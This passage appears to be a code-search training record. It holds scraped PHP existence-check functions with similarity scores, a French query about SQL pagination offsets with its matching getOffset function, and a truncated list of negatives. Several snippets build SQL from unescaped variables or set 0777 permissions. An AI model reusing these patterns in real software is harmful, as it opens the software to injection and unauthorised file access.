-1)!=='/'){\n\t\t\t$cartella=$cartella.'/';\n\t\t}\n\t\tif($cartella[0]!='/'){\n\t\t\t$cartella='/'.$cartella;\n\t\t}\n\t\t\n\t\t$cartella=$_SERVER['DOCUMENT_ROOT'].$cartella;\n\t\tif(!is_dir($cartella)){\n\t\t\tif($crea!=='' || $crea!=='no' || $crea=='si') mkdir($cartella,0777);\n\t\t\treturn FALSE;\n\t\t}else{\n\t\t\treturn TRUE;\n\t\t}\n\t}", "private function riddleFileExists()\n\t\t{\n\n\t\t\tif (FileSystem::exists(Settings::setting('riddle_location')) == false)\n\t\t\t{\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}", "public function existeCorreo(){\n $this -> Conexion -> abrir();\n $this -> Conexion -> ejecutar( $this -> ClienteDAO -> existeCorreo());\n $this -> Conexion -> cerrar();\n return $this -> Conexion -> numFilas();\n }", "private function checkFolderPathExist()\n {\n $folderPath = $this->getFolderPath();\n if (!file_exists($folderPath)) {\n mkdir($folderPath, 0777, true);\n }\n }", "protected function exists() {}", "public function exists()\r\n {\r\n }", "public function existeComentario($idComentario, $idAnuncio){ \n $query = \"SELECT idComentario FROM final_comentario WHERE idComentario='\".$idComentario.\"' AND idAnuncio='\".$idAnuncio.\"'\"; \n return mysqli_num_rows($this->con->action($query))> 0 ? True : False; \n }", "function no_existe_versiculo_en_referencia($versiculo_id, $cita)\n{\n $dato = torrefuerte\\Models\\Referencia::where('versiculo_id', $versiculo_id)\n ->where('cita', $cita)->first();\n\n if( is_null($dato)){\n return true;\n }else{\n return false;\n }\n}", "public function isExistPeriode($idMois, $idVille){\n $database = new database;\n $connection = $database->getConnection();\n $sql =(\"select * from periode where idVille = \".$idVille.\" and mois = \".$idMois.\";\");\n $request = $connection->prepare($sql);\n $request->execute();\n $resultat = $request->rowCount();\n // var_dump($resultat);\n $resultat = ($resultat > 0) ? true : false;\n return $resultat ;\n }", "public function exists()\n {\n }", "public function exists()\n {\n }", "private function appConsolaExistencia() {\r\n\t\t\t$archivo = implode(DIRECTORY_SEPARATOR, array_merge(array($this->consolaRuta), $this->objeto)).'.php';\r\n\t\t\tif(file_exists($archivo) == true):\r\n\t\t\t\t$this->appConsolaLectura($archivo);\r\n\t\t\telse:\r\n\t\t\t\tthrow new \\RuntimeException(sprintf('El Archivo de Consola: %s, de la aplicación: %s, no existe', $this->objeto, $this->aplicacion));\r\n\t\t\tendif;\r\n\t\t}", "function doesDateFileExist($ID, $date) {\n\tglobal $DATA_DIR;\n\t$handle = fopen($DATA_DIR.$ID.'/'.$date.'.csv',\"r\");\n\tif ($handle === FALSE) {\n\t\tfclose($handle);\n\t\treturn FALSE;\n\t}\n\telse {\n\t\tfclose($handle);\t\n\t\treturn TRUE;\n\t}\n}", "public function existeLugar(){\n $modelSearch = new LugarSearch();\n $resultado = $modelSearch->busquedadGeneral($this->attributes);\n if($resultado->getTotalCount()){ \n foreach ($resultado->models as $modeloEncontrado){\n $modeloEncontrado = $modeloEncontrado->toArray();\n $lugar[\"id\"]=$modeloEncontrado['id']; \n #borramos el id, ya que el modelo a registrar aun no tiene id\n $modeloEncontrado['id']=\"\";\n \n //si $this viene con id cargado, nunca va a encontrar el parecido\n if($this->attributes==$modeloEncontrado){\n $this->addError(\"notificacion\", \"El lugar a registrar ya existe!\");\n $this->addError(\"lugarEncontrado\", $lugar);\n }\n }\n }\n }", "public function is_exist_file() {\r\n\t\treturn file_exists( $this->get_path( 'file' ) );\r\n\t}", "private function existeusuario($usuario)\n {\n $stmt = $this->con->prepare(\"SELECT id_conductor FROM `carga` WHERE id_conductor = ?\");\n $stmt->bind_param(\"s\", $usuario);\n $stmt->execute(); \n $stmt->store_result();\n\n return $stmt->num_rows > 0;\n }", "private function validate_exists() {\n\t\tif ( ! $this->exists ) {\n\t\t\tthrow new Exception( self::E_WC_COUPON_NOT_EXIST );\n\t\t}\n\t}", "public function verificarLoteExistente()\r\n {\r\n $datos = $_SESSION['idLote'];\r\n $anoImpositivo = $datos[0]->ano_impositivo;\r\n $rangoInicial = $datos[0]->rango_inicial;\r\n $rangoFinal = $datos[0]->rango_final;\r\n \r\n \r\n $busquedaLote = Calcomania::find()\r\n \r\n\r\n ->select('*')\r\n \r\n ->where('nro_calcomania between '. $rangoInicial .' and '.$rangoFinal)\r\n ->andWhere('estatus =:estatus' , [':estatus' => 0])\r\n ->andWhere('ano_impositivo =:ano_impositivo' , [':ano_impositivo' => $anoImpositivo])\r\n ->all();\r\n\r\n\r\n if ($busquedaLote == true){\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "private function existeusuario2($usuario)\n {\n $stmt = $this->con->prepare(\"SELECT id_conductor FROM `descuento` WHERE id_conductor = ?\");\n $stmt->bind_param(\"s\", $usuario);\n $stmt->execute(); \n $stmt->store_result();\n return $stmt->num_rows > 0;\n }", "public function testExists() {\n $testDirName = self::TEST_DIR . '/testExists';\n\n $handle = (new Directory($testDirName));\n\n mkdir($testDirName);\n $this->assertTrue($handle->exists());\n\n rmdir($testDirName);\n $this->assertFalse($handle->exists());\n }", "public function exists($ret_obj = true){\t\t$exists_db = parent::exists(true);\n\t\tif($exists_db){\n\t\t\t$exists_db = new File($exists_db);\n\t\t\t//check if our file interface agrees\n\t\t\t$interface = new $exists_db['interface']($exists_db);\n\t\t\tif($interface->exists()){\n\t\t\t\t//honor the original exists return values\n\t\t\t\tif($ret_obj){\n\t\t\t\t\treturn $exists_db;\n\t\t\t\t}else{\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\t\t\t}else{\n\n\t\t\t\t//nope the actually file doesn't exist so delete the db record and return false;\n\t\t\t\t$exists_db->delete();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "public function esiste($file){\n\t\tif($file[0]!=='/') $file='/'.$file;\n\t\tif(file_exists($_SERVER['DOCUMENT_ROOT'].$file)){\n\t\t\treturn TRUE;\n\t\t}else{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "protected function checkIfFoldersExist() {\n $arrFilePath = explode(DIRECTORY_SEPARATOR, $this->filePath);\n array_pop($arrFilePath); //Remove filename\n if (count($arrFilePath) > 0) {\n $folderPath = implode(DIRECTORY_SEPARATOR, $arrFilePath);\n $folder = new Folder();\n $folder->createFolderIfNotExists($folderPath);\n }\n }", "public function exists()\n {\n return false;\n }", "public function exists(): bool;", "public function exists(): bool;", "public function exists(): bool;", "function existeProveedor($codigo)\n {\n \tif($this->gateway->existMco_proveedores($codigo) == 1){ \n return ERROR_DATO_EXISTE;\n }\n else\n {\n return EXITO_OPERACION_REALIZADA;\n }\n }", "public function exists() {}", "public function localFileExists()\n {\n return file_exists($this->GetRealPath());\n }", "function usuario_existe($usuario){\n\t$sql = \"SELECT id FROM usuarios WHERE usuario = '$usuario'\";\n\n\t$resultado = query($sql);\n\n\tif(contar_filas($resultado) == 1){\n\n\t\treturn true;\n\t} else{\n\t\treturn false;\n\t}\n\n}", "private function _exists() {\n // taky typ uz existuje ?\n $id = $this->equipment->getID();\n if ($id > 0) {\n $this->flash(\"Také vybavenie už existuje.<br/>Presmerované na jeho editáciu.\", \"error\");\n $this->redirect(\"ape/equipment/edit/$id\");\n }\n }", "public function alreadyExists()\n\t{\n\t\tif(file_exists($this->getSavePath())) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function isExist(){\n\t\t\tif(file_exists($this->_nameFile)){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "public function folderExists(): bool\n {\n return $this->exists() || is_dir($this->getStorageFolder() ?? '');\n }", "function exist() {\n\t\t\t$exist = $this->db->prepare(\"SELECT 1 FROM HISTORIC WHERE nameFile = ? AND idArt = ? \");\n\t\t\t$exist->execute(array($this->nameFile, $this->idArt));\n\t\t\treturn count($exist->fetchAll()) >= 1;\n\t\t}", "function isFeeExiste($date, $nature, $amount, $site_id)\n {\n global $db;\n $existe = false;\n $reqFee = $db->prepare('SELECT * FROM fees WHERE date = ? AND nature = ? AND amount = ? AND site_id = ?');\n $reqFee->execute(array($date, $nature, $amount, $site_id));\n if ($reqFee->rowCount() >= 1) {\n $existe = true;\n }\n return $existe;\n }", "public function temErro(){\n\t\tif (count($this->erros) == 0){\n\t\t\treturn false;\n\t\t}\n\t\telse return true;\n\t}", "public function isExists(){\n\t\treturn file_exists($this->getFullName());\n\t}", "function existeGrupo($base, $id, $id_asignatura)\n{\n $query = \"SELECT `id` FROM `grupos`\n WHERE `id`=\" . $id . \" AND `id_asignatura`=\" . $id_asignatura . \";\";\n $resultado = $base->query($query);\n if (empty($resultado->fetchAll())) {\n return false;\n }\n $resultado->closeCursor();\n return true;\n}", "private function mustCreateFolder(){\n }", "function exists() {\n $this->log .= \"exists() called<br />\";\n if (!isset($_COOKIE['sid'])) {\n $this->log .= \"sid cookie does not exist.<br />\";\n return false;\n }\n $this->id = $_COOKIE['sid'];\n $this->filename = $this->dir.\"sid_\".$this->id;\n return true;\n }", "public function hasDirectory(): bool;", "public function hasDirectory(): bool;", "function deplacer_tache_dossier($id_dossier, $id_dossier_destination)\r\n{\r\n\tglobal $objet;\r\n\t////\tAccès total au dossier en question & accès en écriture au dossier destination & controle du déplacement du dossier\r\n\tif(droit_acces($objet[\"tache_dossier\"],$id_dossier)==3 && droit_acces($objet[\"tache_dossier\"],$id_dossier_destination)>=2 && controle_deplacement_dossier($objet[\"tache_dossier\"],$id_dossier,$id_dossier_destination)==1) {\r\n\t\tdb_query(\"UPDATE gt_tache_dossier SET id_dossier_parent=\".db_format($id_dossier_destination).\" WHERE id_dossier=\".db_format($id_dossier));\r\n\t}\r\n\t////\tLogs\r\n\tadd_logs(\"modif\", $objet[\"tache_dossier\"], $id_dossier);\r\n}", "function exists() {\r\n\t\t$this->log .= \"exists() called<br />\";\r\n\t\tif (!isset($_COOKIE['sid'])) {\r\n\t\t $this->log .= \"sid cookie does not exist.<br />\";\r\n\t\t return false;\r\n\t\t}\r\n\t\t$this->id = $_COOKIE['sid'];\r\n\t\t$this->filename = $this->dir.\"sid_\".$this->id;\r\n\t\treturn true;\r\n\t}", "public function fermer()\n {\n // On enregistre la fermeture\n if ($this->set('mission_statut', 0)) {\n return true;\n } else {\n return false;\n }\n }", "private function existe_usuario()\n\t{\n\t\t$data = $this->request->getRawInput();\n\t\t$ruc = $data['nick']; \n\t\t$usu = new Admin_model();\n\t\t$usuarioObject = $usu->where(\"nick\", $ruc) \n\t\t->first();\n\t\treturn !is_null($usuarioObject);\n\t\t \n\t}", "function existeFechaPrestador($idPrestador, $fecha, $idCiudad, $conectar)\n{\n\t$sql = mysql_query(\"\n\tSELECT \n\t\th.`id` \n\tFROM \n\t\thoras_prestadores h\n\tWHERE \n\t\th.`prestador`=$idPrestador AND \n\t\th.`ciudad`=$idCiudad AND \n\t\th.`hora`='$fecha'\n\t\", $conectar);\n\t\n\tif(mysql_num_rows($sql) == 1)\n\t{\n\t\treturn true;\n\t}\n\telse \n\t{\n\t\treturn false;\n\t}\n}", "function domain_exists($domain, $path, $network_id = 1)\n {\n }", "public function isNotFound();", "function ifExists()\n\t {\n\t\t $file= CTRL.DS.$this->url[0].'.php';\n\t\t \n\t\t\n\t\t if(!file_exists($file))\n\t\t {\n\t\t\t $this->error(\"File does not exist \");\n\t\t\t echo\"<a href='\".DIR.\"index'>Back</a>\";\n\t\t\t exit();\n\t\t\t\n\t\t }\n\t\t\n\t }", "public function archivo_existente(){\n $respuesta = array();\n //obtiene la informacion del archivo\n $info = new SplFileInfo($this->file[\"name\"]);\n //obtiene la extension\n $extencion = $info->getExtension();\n //concateno el nombre y la extension para saber que archivo y tambien la ruta del archivo\n $nombre_imagen = $this->nombre . \".\" . $extencion;\n $ruta_archivo = $this->ruta . $nombre_imagen;\n //si el archivo existe\n if (file_exists($ruta_archivo)) {\n //doy permisos para eliminar archivos\n chmod($ruta_archivo, 0777);\n //elimino el archivo\n if(unlink($ruta_archivo)){\n $respuesta[\"resultado\"] = true;\n } else {\n $respuesta[\"resultado\"] = false;\n $respuesta[\"mensaje\"] = \"Ocurrió un error al eliminar el archivo\";\n }\n }else{\n $respuesta[\"resultado\"] = true;\n $respuesta[\"mensaje\"] = \"No es posible eliminar el archivo porque no existe.\";\n }\n return $respuesta;\n }", "function existeUsuario($usuario){\n\tif (hasKey(BUCKET_USUARIOS,$usuario))\n\t\treturn true;\n\telse\n\t\treturn false;\n}", "function exists() {\r\n\t\t$sql_inicio \t= \" select * from \".$this->table.\" where \";\r\n\t\t$sql_fim \t\t= \" \".($this->get($this->pk) ? \" and \".$this->pk.\" <> \".$this->get($this->pk) : \"\").\" limit 1 \";\r\n\t\t\r\n\t\t$sql \t= \"con_id = \".$this->get(\"con_id\").\" and exa_id = \".$this->get(\"exa_id\").\" \";\r\n\t\tif (mysql_num_rows(Db::sql($sql_inicio.$sql.$sql_fim))){\r\n\t\t\t$this->propertySetError (\"con_id\", \"Já existe no banco de dados.\");\r\n\t\t\t$this->propertySetError (\"exa_id\", \"Já existe no banco de dados.\");\r\n\t\t}\r\n\t}", "public function existeDepartamento($dep) {\n $c=\"select * from departamentos where nom_dep=:n\";\n $stmt=parent::$conexion->prepare($c);\n try{\n $stmt->execute([\n ':n'=>$dep\n ]);\n }catch(PDOException $ex){\n die(\"Error al comprobar existencia del departamento: \". $ex->getMessage());\n }\n $fila=$stmt->fetch(PDO::FETCH_OBJ);\n return ($fila==null) ? false : true;\n }", "function check_and_create_import_dir($unique_code) {\n global $CFG; \n $status = $this->check_dir_exists($CFG->dataroot.\"/temp\",true);\n if ($status) {\n $status = $this->check_dir_exists($CFG->dataroot.\"/temp/webworkquiz_import\",true);\n }\n if ($status) {\n $status = $this->check_dir_exists($CFG->dataroot.\"/temp/webworkquiz_import/\".$unique_code,true);\n }\n return $status;\n }", "private function checkSaveDir(){\n\t\t//determines the path to check\n\t\t$path=$_SERVER['DOCUMENT_ROOT'].$this->save_dir;\n\t\t\n\t\t//check if the directory exists\n\t\tif(!is_dir($path)){\n\t\t\t//creates the directory\n\t\t\tif(!mkdir($path,0777,TRUE)){\n\t\t\t\tthrow new Exception(\"Can't create the directory\");\n\t\t\t}\n\t\t}\n\t\t\n\t}", "private function existeUsuario()\n {\n $con = Conexion::getInstance();\n $sql = \"SELECT user \n FROM usuarios\n WHERE user = '{$this->usuario}' AND estado = 1 AND idUsuario != {$this->Id}\";\n\n $result = mysqli_query($con, $sql);\n\n if($result->num_rows >= 1 && $result != false)\n {\n return false;\n }\n\n return true;\n }", "public function checkExistRegiune($nume){\n $sql = \"SELECT nume from regiune WHERE nume = :nume\";\n $stmt = $this->db->pdo->prepare($sql);\n $stmt->bindValue(':nume', $nume);\n $stmt->execute();\n if ($stmt->rowCount()> 0) {\n return true;\n }else{\n return false;\n }\n }", "function existeCedula($cedula) {\r\n $sql = \"select idparticipante from dbparticipantes where cedula = \".$cedula.\" and terminoscondiciones = 1\";\r\n $res = $this->query($sql,0);\r\n\r\n if (mysql_num_rows($res)>0) {\r\n return 1;\r\n }\r\n return 0;\r\n}", "function check_and_create_import_dir($unique_code) {\n\n global $CFG; \n\n $status = $this->check_dir_exists($CFG->dataroot.\"/temp\",true);\n if ($status) {\n $status = $this->check_dir_exists($CFG->dataroot.\"/temp/webworkquiz_import\",true);\n }\n if ($status) {\n $status = $this->check_dir_exists($CFG->dataroot.\"/temp/webworkquiz_import/\".$unique_code,true);\n }\n \n return $status;\n }", "public function exist()\n {\n return is_dir($this->location) && file_exists($this->location);\n }", "public function getFileExists()\n {\n return Yii::$app->storage->fileSystemExists($this->filter_id . '_' . $this->file->name_new_compound);\n }", "public function rechercherCreatedFolder() \n {\n $auth = AuthenticationManager::getInstance();\n $username = $auth->getMatricule();\n //sécurité\n $action = 'listCreatedFolder';\n $error = AccessControll::checkRight($action);\n if ( empty($error) ){ //ok\n $search = $this->request->getPostAttribute('search');\n $dossier = DossierManager::rechercherIdOrNameCreatedFolder($search, $username);\n $prez = DossierHtml::listCreatedFolderHtml($dossier);\n } else{ //pas ok\n $prez = HomeHtml::toHtml($error);\n }\n $this->response->setPart('contenu', $prez);\n }", "public function exist($s)\n\t{\n $cnx=new database();\n\n\t\t$req = $cnx->_db->prepare('SELECT * FROM joueurs WHERE id_joueur = ?');\n\t\t$req->execute(array($s));\t\t\n\t\t$reqmail_result = $req->rowCount();\n\t\t\tif ($reqmail_result==0) {\n\t\t\t\treturn true;\n\t\t\t}else return false;\n\t}", "public function suprDiplomePossede()\n {\n //sécurité :\n $action = 'deleteFolderInformation';\n $error = AccessControll::checkRight($action);\n if ( empty($error) ){ //ok\n //on réccupère l'id à supr (clée primaire)\n $id = $this->request->getGetAttribute('id');\n //ajout d'une entrée dans le fichier de log\n $data = DossierManager::getPossedeByClef($id);\n $auth = AuthenticationManager::getInstance();\n $username = $auth->getMatricule();\n $type = 'possedeDiplome';\n self::logDeletedInformation($data, $username, $type);\n //on supprime (retourne le matricule)\n $matricule = DossierManager::suprDiplomePossedeById($id);\n //on réaffiche le dossier actualisé\n $dossier = DossierManager::getOneFromId($matricule);\n $prez = self::afficheDossierComplet($dossier);\n $this->response->setPart('contenu', $prez);\n } else{\n header(\"location: index.php\");\n die($error);\n }\n }", "function VerificaExisteEnRutero($CardCode,$ItemCode){\n\t\tif($this->con->conectar()==true){\n\t\t\t\n\t\t\t$ArtiRutero = mysql_query(\"SELECT COUNT (*) AS EXIST FROM `RUTEROS` WHERE `CardCode` = '\".$CardCode.\"' and `ItemCode` = '\".$ItemCode.\"'\");\n\t\t\t\n\t\t\t if($ArtiRutero)\n\t\t\t {\n\t\t\t\t $Exis = mysql_fetch_array($ArtiRutero); \n\t\t\t\tif($Exis['EXIST']>0)\n\t\t\t\t\treturn 1;\n\t\t\t\telse\n\t\t\t\t\t return 0;\n\t\t }\n\t\t\t \n\t\t\t\t \n\t\t\t\n\t\t\t \n\t\t}\n\t}", "public function exists(): bool\n {\n return file_exists($this->directory->getPath().'/'.$this->filename);\n }", "public function exist($id){\n $rq = \"SELECT * FROM Objets WHERE id = :id\";\n $stmt = $this->pdo->prepare($rq);\n $data = array(\":id\" => $id);\n if(!$stmt->execute($data)){\n throw new Exception($pdo->errorInfo());\n }\n if($stmt->rowCount() > 0){\n return true;\n } else {\n $this->erreur = \"Objet inexistant\";\n return false;\n }\n }", "private function checkCacheFolder(){\n if (file_exists($this->folder_path)) {\n $this->cacheCreated = true;\n }else{\n $this->cacheCreated = false;\n }\n }", "public function existN($s)\n\t{\n $cnx=new database();\n\n\t\t$req = $cnx->_db->prepare('SELECT * FROM joueurs WHERE nom_joueur = ?');\n\t\t$req->execute(array($s));\t\t\n\t\t$reqmail_result = $req->rowCount();\n\t\t\tif ($reqmail_result==0) {\n\t\t\t\treturn true;\n\t\t\t}else return false;\n\t}", "function is_exists_doc($doc_id){\n\tif(!filter_var($doc_id, FILTER_VALIDATE_INT)){\n\t\n\treturn false;\n\t\n\t}\n\telse{\n\t\tglobal $prefix_doc;\n\t\t$query = borno_query(\"SELECT * FROM $prefix_doc WHERE id='$doc_id'\");\n\t\t\n\t\t$count = mysqli_num_rows($query);\n\t\tif($count==1){\n\t\t\treturn true;\n\t\t}\n\t\telse{\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\n\t}\n\n}", "private function isFolderSaved($data){\n //Checking the folder table to make sure we have the\n //$f = Folder::where('name', '=', $data['name'])->where('full_path', '=', $data['full_path'])->get();\n $SEL = \"SELECT * FROM folders WHERE name='\".$data['name'].\"' AND full_path='\".$data['full_path'].\"'\";\n $f = DB::connection('mysql')->select($SEL);\n if(count($f) > 0){\n foreach ($f as $folder) {\n $SQL = \"UPDATE folders SET found = '1' WHERE id = '\".$folder->id.\"'\";\n DB::connection('mysql')->update($SQL);\n }\n return true;\n }else{\n return false;\n }\n }", "public static function existe ($usuario,$contrasena){\n $existe=false;\n self::setConexion();\n $resultado=self::$conexion->query(\"SELECT * FROM cuenta WHERE contrasena='$contrasena' AND usuario='$usuario'\");\n $totalFilas=$resultado->rowCount();\n \n if(!$resultado->rowCount()==0){\n //throw Exception(\"YA EXISTE UNA CUENTA CON ESE USUARIO Y CONTRASEÑA\");\n $existe=true;\n }\n return $existe;\n }", "public function afficherListeDossier() \n {\n //sécurité\n $action = 'listAllFolder';\n $error = AccessControll::checkRight($action);\n if ( empty($error) ){ //ok\n $dossier = DossierManager::getAll();\n $prez = DossierHtml::toHtml($dossier);\n } else{ //pas ok\n $prez = HomeHtml::toHtml($error);\n }\n $this->response->setPart('contenu', $prez);\n }", "function verify(){\r\n\r\n /*\r\n le chemin d'acces du fichier\r\n */\r\n \r\n \r\n \t $file=dirname(__DIR__).DIRECTORY_SEPARATOR.\"username\";\r\n $file2=dirname(__DIR__).DIRECTORY_SEPARATOR.\"password\";\r\n\r\n /*\r\n * cette condition verifie si les fichiers password et username sont crees\r\n * si c'est le cas on verifie leurs contenu\r\n * si le contenue est vide vous rester sur la page d'installation dans le cas contraitre vous avez access au dashboard admin\r\n \r\n *le contenu des fichier sera ainsi enregistre dans la base de donnee afin de faire des eventuelles comparaisons si il ya une modification des fichier\r\n */\r\n \r\n \t if (file_exists($file) and file_exists($file2)):\r\n $content=(string)file_get_contents($file);\r\n $content1=(string)file_get_contents($file2);\r\n if(empty($content) and empty($content1)):\r\n\r\n return false;\r\n\r\n else:\r\n return true;\r\n\r\n endif;\r\n\r\n endif;\r\n\r\n\r\n\r\n\r\n\r\n }", "function IsFileExist()\n{\t\n\t$sFileUrl = '';\n\t\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t\n\t$sFileUrl = $_REQUEST['file-path']; \n\t\n\tif(file_exists($sFileUrl) === true)\n\t{\n\t\techo '<correct>file exist</correct>';\n\t} else\n\t{\n\t\techo '<correct>file not exist</correct>';\n\t}\n\t\n\treturn;\n}", "private function notExist() : void\n {\n if(!$this->user)\n {\n (new Session())->set('user','error','Désolé une erreur est survenue');\n header('Location:' . self::REDIRECT_HOME);\n die();\n }\n }", "public function creer_dossier($dossier, $mode = false) {\n\t\t$CODE_RETOUR = false;\n\t\tif ($this->verifie_connexion ()) {\n\t\t\t$CODE_RETOUR = true;\n\t\t\t$dir = explode ( \"/\", $dossier );\n\t\t\t$path = \"\";\n\t\t\tfor($i = 0; $i < count ( $dir ); $i ++) {\n\t\t\t\t$path .= \"/\" . $dir [$i];\n\t\t\t\t//Si on arrive pas a changer de repertoire\n\t\t\t\tif (! @ftp_chdir ( $this->conn_id, $path )) {\n\t\t\t\t\t//On se met a la racine\n\t\t\t\t\t@ftp_chdir ( $this->conn_id, \"/\" );\n\t\t\t\t\t//et on creer le repertoire voulu\n\t\t\t\t\tif (! ftp_mkdir ( $this->conn_id, $path )) {\n\t\t\t\t\t\t$this->onInfo ( \"Erreur sur le dossier \" . $path );\n\t\t\t\t\t\t$this->_reconnect ();\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ($mode !== false) {\n\t\t\t\t\t\t\t$mode = octdec ( str_pad ( $mode, 4, '0', STR_PAD_LEFT ) );\n\t\t\t\t\t\t\t@ftp_chmod ( $this->conn_id, ( int ) $mode, $path );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $CODE_RETOUR;\n\t}", "private function check_directory($path) {\n\t\tif (!@opendir($path)) {\n\t\t\tmkdir($path, 0755);\n\t\t} //if(!@opendir($path))\n\t\treturn;\n\t}", "function numeroExisteSalle($numero_salle) {\n\n // récupération accés base de données\n $bd = getConnexion();\n $rqt = \"SELECT numero_salle FROM salle WHERE numero_salle = :numero_salle\";\n $stmt = $bd->prepare($rqt);\n // ajout param\n $stmt->bindParam(\":numero_salle\", $numero_salle);\n // execution requette\n $stmt->execute();\n\n // récupération resultat\n $listResult = $stmt->fetchAll();\n\n if (count($listResult) == 0) {\n return false;\n } else {\n return true;\n }\n}", "private function check_exists()\n\t{\n\t\t// so this is sufficient to test for existence in accordance with\n\t\t// File::check_exists()\n\t\t// However, getFileInfo() is slow, since it involves a DB query,\n\t\t// so we'll cache the result in $this->exists and test that first...\n\t\tif ( $this->exists )\n\t\t\treturn true;\n\t\telse $this->getFileInfo();\n\t}", "public function existe()\n\t{\n\t\treturn CADModelo::existePorId($this->id);\n\t}", "public function exists();", "public function exists();", "public function exists();", "public function perExiste($log){\n if($this->getNumPer($log)!=null){\n return true;\n }\n else{\n return false;\n }\n }", "abstract public function exists();", "abstract public function exists();", "private function checkDir()\n {\n $this->init = $this->url[0].'/';\n\n for ($i=0; $i < $this->count; $i++) { \n if (is_dir($this->init)) {\n if ($i == 0) {\n $this->dir .= $this->init;\n } elseif (is_dir($this->dir.$this->url[$i])) {\n $this->dir .= $this->url[$i].'/';\n } else {\n $this->file = $this->url[$i];\n break;\n }\n } else {\n if ($i == 0) {\n $this->dir .= 'views/';\n }\n \n if (is_dir($this->dir.$this->url[$i])) {\n $this->dir .= $this->url[$i].'/';\n } else {\n $this->file = $this->url[$i];\n break;\n }\n \n }\n }\n\n $this->dir = str_replace(\"//\", \"/\", $this->dir);\n $this->checkFile();\n }" ]
[ "0.7577755", "0.6664253", "0.63147485", "0.6289136", "0.62683094", "0.6214659", "0.6181334", "0.6050518", "0.6022837", "0.60127753", "0.5988909", "0.5922988", "0.5915625", "0.5908749", "0.5893933", "0.587872", "0.58780503", "0.5832779", "0.5819429", "0.58163875", "0.5814192", "0.58127534", "0.57915103", "0.57818", "0.5775488", "0.57394934", "0.5731562", "0.57270473", "0.57260716", "0.56968", "0.5695862", "0.5676265", "0.5672182", "0.56604725", "0.5657848", "0.5657848", "0.5657848", "0.5651548", "0.5651442", "0.56270975", "0.5625835", "0.56245446", "0.56232315", "0.56211996", "0.5616569", "0.5614515", "0.561082", "0.5605388", "0.56039417", "0.5603553", "0.56027186", "0.5602436", "0.5595654", "0.5595654", "0.55945414", "0.5588022", "0.55877626", "0.55791545", "0.5579028", "0.5575042", "0.5564624", "0.5563923", "0.55629027", "0.5560434", "0.55594695", "0.55578035", "0.55534023", "0.5544017", "0.5540417", "0.5531079", "0.5526857", "0.55172527", "0.5516308", "0.5503225", "0.5494721", "0.5493531", "0.5490656", "0.54882985", "0.54847944", "0.5476943", "0.54762495", "0.54760236", "0.54686624", "0.54638976", "0.5463435", "0.5461337", "0.5460617", "0.54588646", "0.5454385", "0.54435927", "0.5441724", "0.5432165", "0.54297626", "0.54241663", "0.542275", "0.542275", "0.542275", "0.5418159", "0.5416464", "0.5416464", "0.5415866" ]
0.0
-1
Calcul l offset pour les requetes SQL Pour la page courante cette fonction est lien a la fonction getPagination
function getOffset($limit = 30){ if(isset($_GET['page'])) $current_page = $_GET['page']; else $current_page = 1; // Calcul du offset $offset = $current_page * $limit - $limit; return $offset; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function calculateOffset() {\n $this->offset = ($this->currentpage - 1) * $this->limit;\n }", "private function getOffsetPaginacao()\n {\n if (!isset($this->filtros['pagina']) || !is_numeric($this->filtros['pagina'])) {\n return 0;\n }\n\n return (int)($this->filtros['pagina'] * $this->getLengthPaginacao()) - $this->getLengthPaginacao();\n }", "function paging_1($sql,$vary=\"record\",$width=\"575\",$course)\n{\n\n global $limit,$offset,$currenttotal,$showed,$last,$align,$CFG;\n if(!empty ($_REQUEST['offset']))\n $offset=$_REQUEST['offset'];\n else $offset=0;\n $showed=$offset+$limit;\n $last=$offset-$limit;\n $result=get_records_sql($sql);\n\n $currenttotal=count($result);\n $pages=$currenttotal%$limit;\n if($pages==0)\n\t$pages=$currenttotal/$limit;\n else\n {\n\t$pages=$currenttotal/$limit;\n\t$pages=(int)$pages+1;\n }\n for($i=1;$i<=$pages;$i++)\n {\n\t$pageoff=($i-1)*$limit;\n\tif($showed==($i*$limit))\n\tbreak;\n }\n\t\t\t\n if($currenttotal>1)$vary.=\"s\";\n if($currenttotal>0)\n\techo @$display;\n if($CFG->dbtype==\"mysql\")\n {\n $sql.=\" Limit \".$offset.\",$limit \";\n }\n else if($CFG->dbtype==\"mssql_n\" )\n {\n $uplimit=$offset+$limit;\n $sql.=\" WHERE Row between \".($offset+1).\" and \".$uplimit;\n\n }\n\n return $sql;\n\n}", "public function getPaginate ($p_rowsPerPage, $p_currentPage);", "function getPagedStatement($sql,$page,$items_per_page);", "abstract public function preparePagination();", "function pagenation($offset) {\r\n\r\n $this->offset = NULL;\r\n $this->arrayText = NULL;\r\n $this->pages = NULL;\r\n $this->offset = $offset;\r\n if ($this->countRecord) {\r\n $this->pages = intval($this->countRecord / $this->limit);\r\n }\r\n if ($this->countRecord % $this->limit) {\r\n $this->pages++;\r\n }\r\n $countRecordArray = count($this->arrayVariable);\r\n $offsetloop = 0;\r\n for ($loop_page = 1; $loop_page <= $this->pages; $loop_page++) {\r\n $string=\" <li><a href=\\\"javascript:void(0)\\\" \";\r\n if ($countRecordArray >= 1) {\r\n \r\n for ($k = 0; $k < $countRecordArray; $k++) {\r\n\r\n if ($this->arrayVariable[$k] == \"offset\") {\r\n $this->arrayVariableValue[$k] = $offsetloop;\r\n $ajaxOffset = $this->arrayVariableValue[$k];\r\n }\r\n $this->arrayText = $this->arrayVariable[$k] . \"=\" . $this->arrayVariableValue[$k] . \"&\" . $this->arrayText;\r\n }\r\n } else {\r\n $string.=\"Do play play la I know you want to hack it ?\";\r\n }\r\n $string.=$this->arrayText;\r\n $string.=\" 